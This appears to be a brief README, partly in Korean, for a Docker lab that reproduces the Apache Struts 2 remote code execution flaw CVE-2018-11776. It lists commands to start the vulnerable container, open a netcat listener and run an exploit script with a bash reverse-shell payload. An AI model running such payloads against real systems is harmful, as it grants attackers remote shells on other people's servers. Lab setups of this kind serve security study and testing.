
Docker 기반 환경으로, Python 익스플로잇 스크립트와 리버스 셸 데모를 통해 CVE-2018-11776(Apache Struts 2 RCE)을 공격하기 위한 환경입니다.
CVE-2018-11776 / S2-057 환경

$ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776
$ nc -l 10000 (or nc -lp 10000)
$ python3 exploit.py localhost:30080 'bash -i >& /dev/tcp/192.168.33.1/10000 0>&1'